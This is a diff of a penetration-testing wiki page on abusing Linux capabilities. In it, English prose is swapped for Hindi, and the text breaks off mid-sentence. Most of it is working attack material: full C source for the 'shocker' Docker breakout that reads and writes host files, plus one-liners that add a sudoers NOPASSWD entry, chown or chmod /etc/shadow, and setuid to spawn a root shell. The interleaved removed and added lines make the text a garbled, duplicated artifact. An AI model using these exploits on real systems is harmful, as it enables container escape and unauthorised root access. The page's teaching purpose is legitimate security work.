[https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) लेकिन संक्षेप में **CAP_DAC_READ_SEARCH** न केवल हमें अनुमति जांच के बिना फ़ाइल प्रणाली को पार करने की अनुमति देता है, बल्कि यह _**open_by_handle_at(2)**_ पर किसी भी जांच को स्पष्ट रूप से हटा देता है और **हमारी प्रक्रिया को अन्य प्रक्रियाओं द्वारा खोली गई संवेदनशील फ़ाइलों तक पहुँचने की अनुमति दे सकता है**। +इस अनुमति का दुरुपयोग करने वाला मूल शोषण जो होस्ट से फ़ाइलें पढ़ता है, यहाँ पाया जा सकता है: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), निम्नलिखित एक **संशोधित संस्करण है जो आपको पहले तर्क के रूप में पढ़ने के लिए फ़ाइल निर्दिष्ट करने और इसे एक फ़ाइल में डंप करने की अनुमति देता है।** ```c #include #include @@ -898,202 +794,186 @@ The original exploit that abuse this permissions to read files from the host can // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char *msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle *h) { - fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, - h->handle_type); - for (int i = 0; i < h->handle_bytes; ++i) { - fprintf(stderr,"0x%02x", h->f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr,"\n"); - if (i < h->handle_bytes - 1) - fprintf(stderr,", "); - } - fprintf(stderr,"};\n"); +fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, +h->handle_type); +for (int i = 0; i < h->handle_bytes; ++i) { +fprintf(stderr,"0x%02x", h->f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr,"\n"); +if (i < h->handle_bytes - 1) +fprintf(stderr,", "); +} +fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR *dir = NULL; - struct dirent *de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); - oh->handle_type = 1; - oh->handle_bytes = 8; - return 1; - } +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR *dir = NULL; +struct dirent *de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); +oh->handle_type = 1; +oh->handle_bytes = 8; +return 1; +} - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de->d_name); - if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); - ino = de->d_ino; - break; - } - } +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de->d_name); +if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); +ino = de->d_ino; +break; +} +} - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, &ino, sizeof(ino)); - memcpy(outh.f_handle + 4, &i, sizeof(i)); - if ((i % (1<<20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); - if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle(&outh); - return find_handle(bfd, path, &outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, &ino, sizeof(ino)); +memcpy(outh.f_handle + 4, &i, sizeof(i)); +if ((i % (1<<20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); +if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle(&outh); +return find_handle(bfd, path, &outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc,char* argv[] ) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} - }; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} +}; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); +read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); - if (find_handle(fd1, argv[1], &root_h, &h) <= 0) - die("[-] Cannot find valid handle!"); +if (find_handle(fd1, argv[1], &root_h, &h) <= 0) +die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle(&h); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle(&h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) - die("[-] open_by_handle"); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) +die("[-] open_by_handle"); - memset(buf, 0, sizeof(buf)); - if (read(fd2, buf, sizeof(buf) - 1) < 0) - die("[-] read"); +memset(buf, 0, sizeof(buf)); +if (read(fd2, buf, sizeof(buf) - 1) < 0) +die("[-] read"); - printf("Success!!\n"); +printf("Success!!\n"); - FILE *fptr; - fptr = fopen(argv[2], "w"); - fprintf(fptr,"%s", buf); - fclose(fptr); +FILE *fptr; +fptr = fopen(argv[2], "w"); +fprintf(fptr,"%s", buf); +fclose(fptr); - close(fd2); close(fd1); +close(fd2); close(fd1); - return 0; +return 0; } ``` - > [!WARNING] -> The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: +> यह एक्सप्लॉइट होस्ट पर कुछ माउंट किए गए पॉइंटर को खोजने की आवश्यकता है। मूल एक्सप्लॉइट ने फ़ाइल /.dockerinit का उपयोग किया और इस संशोधित संस्करण ने /etc/hostname का उपयोग किया। यदि एक्सप्लॉइट काम नहीं कर रहा है, तो शायद आपको एक अलग फ़ाइल सेट करने की आवश्यकता है। होस्ट में माउंट की गई फ़ाइल खोजने के लिए बस mount कमांड चलाएँ: ![](<../../images/image (407) (1).png>) -**The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -​ - -
- -​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +**इस तकनीक का कोड "Abusing DAC_READ_SEARCH Capability" के प्रयोगशाला से कॉपी किया गया है** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) ## CAP_DAC_OVERRIDE -**This mean that you can bypass write permission checks on any file, so you can write any file.** +**इसका मतलब है कि आप किसी भी फ़ाइल पर लिखने की अनुमति की जांच को बायपास कर सकते हैं, इसलिए आप किसी भी फ़ाइल को लिख सकते हैं।** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +आपके पास **अधिकार बढ़ाने के लिए कई फ़ाइलें हैं,** [**आप यहाँ से विचार प्राप्त कर सकते हैं**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)। -**Example with binary** - -In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: +**बाइनरी के साथ उदाहरण** +इस उदाहरण में vim के पास यह क्षमता है, इसलिए आप किसी भी फ़ाइल को जैसे _passwd_, _sudoers_ या _shadow_ को संशोधित कर सकते हैं: ```bash getcap -r / 2>/dev/null /usr/bin/vim = cap_dac_override+ep vim /etc/sudoers #To overwrite it ``` - **Example with binary 2** -In this example **`python`** binary will have this capability. You could use python to override any file: - +इस उदाहरण में **`python`** बाइनरी में यह क्षमता होगी। आप किसी भी फ़ाइल को ओवरराइड करने के लिए python का उपयोग कर सकते हैं: ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` +**उदाहरण वातावरण + CAP_DAC_READ_SEARCH (Docker ब्रेकआउट)** -**Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +आप docker कंटेनर के अंदर सक्षम क्षमताओं की जांच कर सकते हैं: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap_dac_read_search) of the host and **compile** the exploit.\ -Then, **compile the following version of the shocker exploit** that will allow you to **write arbitrary files** inside the hosts filesystem: - +सबसे पहले पिछले अनुभाग को पढ़ें जो [**DAC_READ_SEARCH क्षमता का दुरुपयोग करके मनमाने फ़ाइलों को पढ़ता है**](linux-capabilities.md#cap_dac_read_search) होस्ट की और **शोषण को संकलित करें**।\ +फिर, **शॉकर शोषण के निम्नलिखित संस्करण को संकलित करें** जो आपको होस्ट के फ़ाइल सिस्टम के अंदर **मनमाने फ़ाइलों को लिखने** की अनुमति देगा: ```c #include #include @@ -1110,179 +990,169 @@ Then, **compile the following version of the shocker exploit** that will allow y // ./shocker_write /etc/passwd passwd struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char * msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle * h) { - fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, - h -> handle_type); - for (int i = 0; i < h -> handle_bytes; ++i) { - fprintf(stderr, "0x%02x", h -> f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr, "\n"); - if (i < h -> handle_bytes - 1) - fprintf(stderr, ", "); - } - fprintf(stderr, "};\n"); +fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, +h -> handle_type); +for (int i = 0; i < h -> handle_bytes; ++i) { +fprintf(stderr, "0x%02x", h -> f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr, "\n"); +if (i < h -> handle_bytes - 1) +fprintf(stderr, ", "); +} +fprintf(stderr, "};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR * dir = NULL; - struct dirent * de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); - oh -> handle_type = 1; - oh -> handle_bytes = 8; - return 1; - } - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de -> d_name); - if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); - ino = de -> d_ino; - break; - } - } - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, & ino, sizeof(ino)); - memcpy(outh.f_handle + 4, & i, sizeof(i)); - if ((i % (1 << 20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); - if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle( & outh); - return find_handle(bfd, path, & outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR * dir = NULL; +struct dirent * de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); +oh -> handle_type = 1; +oh -> handle_bytes = 8; +return 1; +} +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de -> d_name); +if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); +ino = de -> d_ino; +break; +} +} +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, & ino, sizeof(ino)); +memcpy(outh.f_handle + 4, & i, sizeof(i)); +if ((i % (1 << 20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); +if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle( & outh); +return find_handle(bfd, path, & outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc, char * argv[]) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = { - 0x02, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - } - }; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); - if (find_handle(fd1, argv[1], & root_h, & h) <= 0) - die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle( & h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) - die("[-] open_by_handle"); - char * line = NULL; - size_t len = 0; - FILE * fptr; - ssize_t read; - fptr = fopen(argv[2], "r"); - while ((read = getline( & line, & len, fptr)) != -1) { - write(fd2, line, read); - } - printf("Success!!\n"); - close(fd2); - close(fd1); - return 0; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = { +0x02, +0, +0, +0, +0, +0, +0, +0 +} +}; +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +read(0, buf, 1); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); +if (find_handle(fd1, argv[1], & root_h, & h) <= 0) +die("[-] Cannot find valid handle!"); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle( & h); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) +die("[-] open_by_handle"); +char * line = NULL; +size_t len = 0; +FILE * fptr; +ssize_t read; +fptr = fopen(argv[2], "r"); +while ((read = getline( & line, & len, fptr)) != -1) { +write(fd2, line, read); +} +printf("Success!!\n"); +close(fd2); +close(fd1); +return 0; } ``` +डॉकर कंटेनर से बाहर निकलने के लिए आप होस्ट से फ़ाइलें **डाउनलोड** कर सकते हैं `/etc/shadow` और `/etc/passwd`, उनमें **नया उपयोगकर्ता** **जोड़ें**, और उन्हें ओवरराइट करने के लिए **`shocker_write`** का उपयोग करें। फिर, **ssh** के माध्यम से **एक्सेस** करें। -In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. - -**The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**इस तकनीक का कोड "Abusing DAC_OVERRIDE Capability" के प्रयोगशाला से कॉपी किया गया है** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) ## CAP_CHOWN -**This means that it's possible to change the ownership of any file.** +**इसका मतलब है कि किसी भी फ़ाइल के स्वामित्व को बदलना संभव है।** -**Example with binary** - -Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges: +**बाइनरी के साथ उदाहरण** +मान लीजिए कि **`python`** बाइनरी में यह क्षमता है, आप **shadow** फ़ाइल का **स्वामी** **बदल सकते** हैं, **रूट पासवर्ड** **बदल सकते** हैं, और विशेषाधिकार बढ़ा सकते हैं: ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` - -Or with the **`ruby`** binary having this capability: - +या **`ruby`** बाइनरी के पास यह क्षमता है: ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` - ## CAP_FOWNER -**This means that it's possible to change the permission of any file.** +**इसका मतलब है कि किसी भी फ़ाइल की अनुमति बदलना संभव है।** -**Example with binary** - -If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges: +**बाइनरी के साथ उदाहरण** +यदि पायथन के पास यह क्षमता है, तो आप शैडो फ़ाइल की अनुमतियाँ बदल सकते हैं, **रूट पासवर्ड बदलें**, और विशेषाधिकार बढ़ा सकते हैं: ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` - ### CAP_SETUID -**This means that it's possible to set the effective user id of the created process.** +**इसका मतलब है कि बनाए गए प्रक्रिया के प्रभावी उपयोगकर्ता आईडी को सेट करना संभव है।** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**बाइनरी के साथ उदाहरण** +यदि python के पास यह **capability** है, तो आप इसे रूट तक विशेषाधिकार बढ़ाने के लिए बहुत आसानी से दुरुपयोग कर सकते हैं: ```python import os os.setuid(0) os.system("/bin/bash") ``` - -**Another way:** - +**एक और तरीका:** ```python import os import prctl @@ -1291,17 +1161,15 @@ prctl.cap_effective.setuid = True os.setuid(0) os.system("/bin/bash") ``` - ## CAP_SETGID -**This means that it's possible to set the effective group id of the created process.** +**इसका मतलब है कि बनाए गए प्रक्रिया का प्रभावी समूह आईडी सेट करना संभव है।** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +आपके पास **अधिकार बढ़ाने के लिए ओवरराइट करने के लिए बहुत सारे फ़ाइलें हैं,** [**आप यहाँ से विचार प्राप्त कर सकते हैं**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this case you should look for interesting files that a group can read because you can impersonate any group: +**बाइनरी के साथ उदाहरण** +इस मामले में, आपको उन दिलचस्प फ़ाइलों की तलाश करनी चाहिए जिन्हें एक समूह पढ़ सकता है क्योंकि आप किसी भी समूह का अनुकरण कर सकते हैं: ```bash #Find every file writable by a group find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null @@ -1310,31 +1178,25 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` - -Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with: - +एक बार जब आप एक फ़ाइल ढूंढ लेते हैं जिसे आप विशेषाधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं (पढ़ने या लिखने के माध्यम से) तो आप **दिलचस्प समूह का अनुकरण करते हुए एक शेल प्राप्त कर सकते हैं**: ```python import os os.setgid(42) os.system("/bin/bash") ``` - -In this case the group shadow was impersonated so you can read the file `/etc/shadow`: - +इस मामले में समूह shadow का अनुकरण किया गया था ताकि आप फ़ाइल `/etc/shadow` पढ़ सकें: ```bash cat /etc/shadow ``` - -If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). +यदि **docker** स्थापित है, तो आप **docker समूह** का **नकली रूप** धारण कर सकते हैं और इसका दुरुपयोग करके [**docker सॉकेट** के साथ संवाद करें और विशेषाधिकार बढ़ाएं](./#writable-docker-socket)। ## CAP_SETFCAP -**This means that it's possible to set capabilities on files and processes** +**इसका मतलब है कि फ़ाइलों और प्रक्रियाओं पर क्षमताएँ सेट करना संभव है** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**बाइनरी के साथ उदाहरण** +यदि पायथन में यह **क्षमता** है, तो आप इसे रूट तक विशेषाधिकार बढ़ाने के लिए बहुत आसानी से दुरुपयोग कर सकते हैं: ```python:setcapability.py import ctypes, sys @@ -1355,22 +1217,20 @@ cap_t = libcap.cap_from_text(cap) status = libcap.cap_set_file(path,cap_t) if(status == 0): - print (cap + " was successfully added to " + path) +print (cap + " was successfully added to " + path) ``` ```bash python setcapability.py /usr/bin/python2.7 ``` - > [!WARNING] -> Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap. +> ध्यान दें कि यदि आप CAP_SETFCAP के साथ बाइनरी को एक नई क्षमता सेट करते हैं, तो आप यह क्षमता खो देंगे। -Once you have [SETUID capability](linux-capabilities.md#cap_setuid) you can go to its section to see how to escalate privileges. +एक बार जब आपके पास [SETUID capability](linux-capabilities.md#cap_setuid) हो जाती है, तो आप इसके अनुभाग में जा सकते हैं कि कैसे विशेषाधिकार बढ़ाए जाएं। -**Example with environment (Docker breakout)** - -By default the capability **CAP_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like: +**पर्यावरण के साथ उदाहरण (Docker ब्रेकआउट)** +डिफ़ॉल्ट रूप से क्षमता **CAP_SETFCAP कंटेनर के अंदर प्रक्रिया को दी जाती है Docker में**। आप यह कुछ इस तरह करके जांच सकते हैं: ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1382,10 +1242,8 @@ CapAmb: 0000000000000000 capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` - -This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\ -However, if you try to give for example the capabilities CAP_SYS_ADMIN and CAP_SYS_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**: - +यह क्षमता **बाइनरीज़ को किसी अन्य क्षमता देने** की अनुमति देती है, इसलिए हम इस पृष्ठ पर उल्लेखित **अन्य क्षमता ब्रेकआउट्स का दुरुपयोग करके** कंटेनर से **भागने** के बारे में सोच सकते हैं।\ +हालांकि, यदि आप उदाहरण के लिए gdb बाइनरी को CAP_SYS_ADMIN और CAP_SYS_PTRACE क्षमताएँ देने की कोशिश करते हैं, तो आप पाएंगे कि आप उन्हें दे सकते हैं, लेकिन **बाइनरी इसके बाद निष्पादित नहीं हो सकेगी**: ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1395,27 +1253,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` - -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP_SETPCAP** capability in its effective set._\ -It looks like the Permitted capabilities limit the ones that can be used.\ -However, Docker also grants the **CAP_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\ -However, in the documentation of this cap: _CAP_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ -It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP_SYS_ADMIN or CAP_SYS_PTRACE in the inherit set to escalate privileges**. +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: यह **प्रभावी क्षमताओं के लिए एक सीमित सुपरसेट** है जो थ्रेड मान सकता है। यह उन क्षमताओं के लिए भी एक सीमित सुपरसेट है जो एक थ्रेड द्वारा विरासत में ली जाने वाली सेट में जोड़ी जा सकती हैं, जिसमें **CAP_SETPCAP** क्षमता नहीं है।_\ +ऐसा लगता है कि अनुमत क्षमताएँ उन क्षमताओं को सीमित करती हैं जो उपयोग की जा सकती हैं।\ +हालांकि, Docker डिफ़ॉल्ट रूप से **CAP_SETPCAP** भी प्रदान करता है, इसलिए आप **विरासत में ली जाने वाली क्षमताओं के भीतर नई क्षमताएँ सेट करने में सक्षम हो सकते हैं।**\ +हालांकि, इस क्षमता के दस्तावेज़ में: _CAP_SETPCAP : \[…] **कॉलिंग थ्रेड के बाउंडिंग** सेट से किसी भी क्षमता को इसके विरासत में ली जाने वाली सेट में जोड़ें।_\ +ऐसा लगता है कि हम केवल बाउंडिंग सेट से विरासत में ली जाने वाली सेट में जोड़ सकते हैं। जिसका अर्थ है कि **हम नई क्षमताएँ जैसे CAP_SYS_ADMIN या CAP_SYS_PTRACE को विरासत सेट में नहीं डाल सकते हैं ताकि विशेषाधिकार बढ़ा सकें।** ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) कई संवेदनशील संचालन प्रदान करता है जिसमें `/dev/mem`, `/dev/kmem` या `/proc/kcore` तक पहुँच, `mmap_min_addr` को संशोधित करना, `ioperm(2)` और `iopl(2)` सिस्टम कॉल्स तक पहुँच, और विभिन्न डिस्क कमांड शामिल हैं। `FIBMAP ioctl(2)` भी इस क्षमता के माध्यम से सक्षम है, जिसने [अतीत में](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html) समस्याएँ उत्पन्न की हैं। मैन 